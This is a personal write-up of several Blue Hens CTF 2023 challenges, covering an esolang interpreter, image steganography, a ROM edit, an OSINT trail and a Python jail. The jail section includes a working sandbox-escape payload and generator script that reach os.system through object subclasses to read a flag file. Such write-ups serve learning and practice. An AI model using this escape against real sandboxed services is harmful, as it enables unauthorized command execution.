Blue Hens ctf 2023

01.11.2023


It’s been a while since I last played ctf, and this one was a good warm-up for me.

I’ve done 3 revs, 2 miscs and 1 osint challange, so let’s gooo.

category: rev

challenge: Blue Hens

We’re given an input file and specs of the language we’re build interpreter for.

OPCODES 1,2,3,4 are arithmetic operations:
1 is SET: set the register to the ARG
2 is ADD: add the ARG to the register
3 is SUB: subtract ARG from the register
4 is MUL: multiply the register by ARG
OPCODES 5,6,7 are gotos
5 is GTL: go to line number ARG
6 is GBL: go back ARG lines
7 is GUL: go forward ARG lines
OPCODES 8,9,10 are control flow:
8 is CTA: add ARG to counter
9 is CTS: subtract ARG from counter
10 is SKP: skip the next line IF counter is 0
OPCODE 11 is print:
11 is PRT: print the value of the register (ascii)

Easy right? The code looks like this:

instructions = []

with open("flag.bluehens", "r") as f:
    lines = f.readlines()
    for line in lines:
        instructions.append(line.strip())

line_n = 1
reg = 0
counter = 0

while line_n >= 1 and line_n < len(instructions):
    op = instructions[line_n - 1].count("blue")
    arg = instructions[line_n - 1].count("hens")
    if op == 1:
        reg = arg
    elif op == 2:
        reg += arg
    elif op == 3:
        reg -= arg
    elif op == 4:
        reg *= arg
    elif op == 5:
        line_n = arg
        continue
    elif op == 6:
        line_n -= arg
        continue
    elif op == 7:
        line_n += arg
        continue
    elif op == 8:
        counter += arg
    elif op == 9:
        counter -= arg
    elif op == 10:
        if counter == 0:
            line_n += 1
    elif op == 11:
        print(chr(reg), end="")


    line_n += 1

And bang, we get the flag:

UDCTF{fight_fight_fight_f0r_D3l4war3}

challenge: boi

We’re given flag.boi file, and slightly edited qui document page.

All we have to do is find some qui implementation and edit some parts of it.

“Picture of a horse, and the flag UDCTF{RAHHHH_LFG_W_FLAG}”

challenge: electroNES

This one was obvious but i spent way too much time on it. We were given a NES ROM of a game, and every level was a letter. Only first 6 levels were available, so the task was to find the rest of it.

Oh and in this game we change some paths, to let electrons go from one point to another, but gameplay doesn’t really matter.

“First level, the PCB board is curved like U letter”

There’re 2 ways to do it:

I choose the second way. Using “cheat” tool from fceux i quickly found that the address of level_num is 0x1b, then using “hex” tool i edited the level number and here we are.

category: misc

challenge: Least Significant Color

We’re given a png image and desc: I can’t decide which color is the least significant… red xor green?

At first I didn’t know exactly what to do, but then poni helped (again).

“poni saying on discord that ‘i tried the obvious things, i could try the less obvious like lsb of r ^ g but ehh’”

well, that’s exactly what we had to do. Xor red and green, and get the last bit.

from PIL import Image

imagePath = 'encoded.png'
im = Image.open(imagePath)

idx = 7
l = 0

for color in im.getdata():
    r = color[0]
    g = color[1]
    b = color[2]

    x = r ^ g
    l += (x & 1) << idx
    idx -= 1
    if idx == -1:
        print(chr(l), end="")
        idx = 7
        l = 0

Then exec python resolve.py | grep -a UDCTF and here we are

UDCTF{y0u_R_1mag3_wizZarD}

challenge: Python Jail

Now, this one was interesting. Take a look at the code:

#!/usr/bin/env python 

blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

security_check = lambda s: any(c in blacklist for c in s) and s.count('_') < 50

def main():
    while True: 
        cmds = input("> ")
        if security_check(cmds):
            print("nope.")
        else:
            exec(cmds, {'__builtins__': None}, {})
    

if __name__ == "__main__":
    main()

Soo, we can’t use any letters (neither lower, nor upper case) or any digits. Also, there can’t be more that 50 ‘_’ chars. What do we have left?

Well, poni from my team sent this link to symbolic python https://esolangs.org/wiki/Symbolic_Python

What catched my eye is this little thing which is actually a constant 2.

-~([]==[])

How does it work? Well, ([]==[]) is 1, and ~ inverts all bits. And because ints in python use Two’s complement it means that we get -2. And -(-2) is 2. Neat!

So we can get any number, by writing just enough tildes and minuses. Now, how do we get letters?

Well, hopefully I found this link which states that The target python version, python 3.7, allows you to use italized characters to write your expressions, which aren’t ascii., which is EXTREMELY wild and I would never ever think of that but it is what it is.

Now we can use ascii letters and numbers, good, but how do we execute anything without __builtins__?

The last link helps. We can get class of any instance, like tuple, list, string etc., like this

>>> ().__class__
<class 'tuple'>

Now we can use attribute __base__ thich gets us to parent of the class, which is Object.

>>> ().__class__.__base__
<class 'object'>

Now we can get any class that inherites from Object! For this, we use attribute subclasses which gives us a list of all classes that inherit from Object.

<built-in method __subclasses__ of type object at 0x7f5f711566e0>
>>> ().__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'> ... ]

There’s a lot of this classes, so we need to find something useful. os class would be ideal, so we can do a quick loop over the list anddd

 >>> for i,v in enumerate(().__class__.__base__.__subclasses__()):
 ...     if "os" in str(v):
 ...             print(i,v)
 ...
114 <class 'posix.ScandirIterator'>
115 <class 'posix.DirEntry'>
137 <class 'os._wrap_close'>

Great. Now, to get any function we can use __globals__, the most useful for us is probably system So we end up with.

().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__["system"]("cat flag")

Cool. There’s one more problem, how do we get strings? We can’t use italics for strings. Well, the aforementioned site solves this problem too. We can use __doc__ attribute of some class, to get string.

My script looks like this:

# ().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__["system"]("cat flag.txt")
print("().__class__.__bases__[[]>[]].__subclasses__()[",end="")
for i in [137]:
    print("-~" * (i-1) + "([]==[])",end="")
print("].__init__.__globals__[",end="")

for i,v in enumerate("system"):
    index = ().__doc__.find(v)
    print("().__doc__[" + "-~" * (index-1) + "([]==[])" + "]" ,end="")
    if i != len("system") - 1:
        print("+",end="")

print("](",end="")

for i,v in enumerate("cat flag.txt"):
    index = ''.__doc__.find(v)
    print("''.__doc__[" + "-~" * (index-1) + "([]==[])" + "]" ,end="")
    if i != len("cat flag.txt") - 1:
        print("+",end="")

print(")",end="")

And we get the flag

UDCTF{pyth0n_NFKC_t0_byp4ss_f1l1t3r}

challenge: Jail Harder

It was actually the same challenge, so I see they deleted it.

category: osint

challenge: The Secret of Halloween

This one was really cool. The description is:

With only 4 days until Halloween, it seems that some dark secrets are surfacing that a few CTFers have picked up on. 
A user has mysteriously disappeared and we do not know if similar things will happen to others. 
We have discovered a user on the internet by the name of J0hnV4mp1re who seems to know more about this phenomenon. 
Please find him and any flags/hints he may hold.

So, we start by searching for J0hnV4mp1re. We find a reddit link https://old.reddit.com/r/hallowsecret/comments/17a3qjw/hello_looking_for_halloween/

“reddit thread at r/hallowsecret”

We have a few user comments. If we look it at web.archive we can find https://web.archive.org/web/20231025172753/https://www.reddit.com/user/Cotton__Mather/?rdt=58738.

It’s base64:

NjggNzQgNzQgNzAgNzMgM2EgMmYgMmYgNjQgNzIgNjkgNzYgNjUgMmUgNjcgNmYgNmYgNjcgNmMgNjUgMmUgNjMgNmYgNmQgMmYgNjQgNzIgNjkgNzYgNjUgMmYgNjYgNmYgNmMgNjQgNjUgNzIgNzMgMmYgMzEgNTkgNjggNTUgNWEgMzQgNzkgNTcgNDUgNDQgNjkgNjIgNGEgNDcgNGEgNWYgNjcgNjEgMmQgNTIgNjMgNGQgNTUgNGEgNjUgNGYgNGYgNmIgNzEgNDkgNDggNmMgNTAgM2YgNzUgNzMgNzAgM2QgNjQgNzIgNjkgNzYgNjUgNWYgNmMgNjkgNmUgNmI= 

It decodes to hex code:

68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 72 69 76 65 2f 66 6f 6c 64 65 72 73 2f 31 59 68 55 5a 34 79 57 45 44 69 62 4a 47 4a 5f 67 61 2d 52 63 4d 55 4a 65 4f 4f 6b 71 49 48 6c 50 3f 75 73 70 3d 64 72 69 76 65 5f 6c 69 6e 6b

Which decodes to: https://drive.google.com/drive/folders/1YhUZ4yWEDibJGJ_ga-RcMUJeOOkqIHlP?usp=drive_link.

Btw we can decode it very easily using cyber chef.

There’s one file secret.jpg, and it has text file embedded emails.txt:

enjoyerwerewolf: Dude where were those resources for pwn again that you had?

wowiefinder: Bro idk I suck at pwn

enjoyerwerewolf: Idc if u suck at pwn, this is important. Do u remember where you saved them?

wowiefinder: Just look them up on your own???

enjoyerwerewolf: Mannnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn

wowiefinder: I thiiiink I left them in the shared drive for school

enjoyerwerewolf: I found a weird binary and think it's exploitable to shellcode but I know nothing about shellcode

wowiefinder: I hate shellcode

enjoyerwerewolf: That's what I'M sayin
enjoyerwerewolf: So which folder

wowiefinder: DO I HAVE TO SPELL IT OUT FOR YOU? GO TO THE *ONLY* TSOH SHARED FOLDER AND LOOK IN THERE

enjoyerwerewolf: Alright alright I found it I found it

wowiefinder: Man why do we even use google? The only thing its good for is for making emails I stg

enjoyerwerewolf: based

wowiefinder: Alright gl dude, Im gonna get back to making ads for the school insta

enjoyerwerewolf: Right on

In WoWiEz0wIE’s reddit account description we can find #tsohofficial hashtag.

emails.txt mentioned something about school insta, so if we look it up on insta we get https://instagram.com/tsohofficial.

Nothing interesting here, but let’s take a look at wowiefinder insta…

“wowiefinder instagram page”

It’s an encrypted link. I tried a bunch of methods and vigenere cipher with key pwn have worked. The link is this https://www.youtube.com/watch?v=SVnQJS0A3jQ.

It’s some wild audio, like boss fight, with morse code starting in the second half. The morse code is

UDCTFFAK3FL4GK3YW0RD5.

Fake flag keywords… At this point i had no idea what i had to do, and i was just tinkering around until my friend came by, and said look up youtube tags for this video.

That was it. We got yet another link https://wowiewowiewowiewowie.github.io/wowow/.

The html looks like this:

<!DOCTYPE html>
<html>
  <head>
    <title>My Archive</title>
  </head>
  <body>
    <h2>Where am I?</h2>
    <p>It's me, Wowie. You may know me from the Instagram, or the Reddit, or the logs you found.</p>
    <p>I've been trapped inside this website for hmmm I don't know how long. Lemme think <u>first</u>.</p>
    <h1>I found the secret of Halloween just like it said on the thread but... well...</h1>
    <p>This happened.</p>
    <p>Looks like I should've <u>down</u>voted it after all.</p>
    <h5>I need your help this very <u>second</u>.</h5>
    <p>The Secret of Halloween... It's a pwn problem.</p>
    <h4>I know, I know, a pwn problem you tell me? In my misc category ctf? Yes. Just straight <u>up</u> a  Pwn problem.</h4>
    <p>I've been trying to figure out this pwn problem for what feels like YEARS.</p>
    <p>Please go get the flag and end this journey.</p>
    <p>You have everything you need in this website.</p>
    <h6>Good Luck</h6>
    <h3>- Wowie</h3>
    <a href="https://drive.google.com/drive/folders/1OYK73DY72qBAb8KrTAPVUVEqWySN47-5?usp=sharing">Here</a>
    <!-- The password is not able to be solved with john the ripper. -->
    <!-- It's 18 numbers long, consisting of 3 sections of 6 numbers joined into one-->
    <!-- The first, second, and <u>third</u> sections can all be found in this website -->
    <!-- You made it this far, you better not give <u>up</u>-->

    <!-- <h#>Use your head</h#> -->
    <!-- The numbers are in order, the only question is how to read them? Maybe from the bottom up? or from the top down? -->
    
  </body>
</html>

On the drive there’s a password protected zip file.

We know that It’s 18 numbers long, consisting of 3 sections of 6 numbers joined into one and The first, second, and third sections can all be found in this website.

So let’s look at the <u> tags and read the headers numbers.

It’s first down, second up, third up, so the password is: 215463364512364512

We get The_Secret file. Well, they were talking about pwn after all.

Quick look at ghidra decomp:

void hallowsecret(void)

{
  int local_10;
  int local_c;
  
  for (local_c = 0; local_c < 0x28; local_c = local_c + 1) {
    holder[local_c] =
         (byte)*(undefined4 *)(y + (long)local_c * 4) ^ (byte)*(undefined4 *)(x + (long)local_c * 4)
    ;
  }
  for (local_10 = 0; local_10 < 0x28; local_10 = local_10 + 1) {
    putchar((int)(char)holder[local_10]);
  }
  return;
}

Now all we need to do is copy y data, and x data into python and decode it.

y = [ 0x16, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x7b, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00, 0xde, 0xff, 0xff, 0xff, 0x65, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0xdf, 0xff, 0xff, 0xff, 0x3b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff ]
x = [ 0x43, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x5d, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00,0x78, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x4b, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00 ]

holder = [0] * 0x28
for i in range(0x28):
    holder[i] = chr(y[i * 4] ^ x[i * 4])

print("".join(holder))

And we finally get the flag!

UDCTF{w0W13\_I5\_fr33D!!_H4pPy_h4LL0w3En!}

summary

It was my first ctf in sillysec team, and I’m quite happy with how it went.

We ended up at 3th place!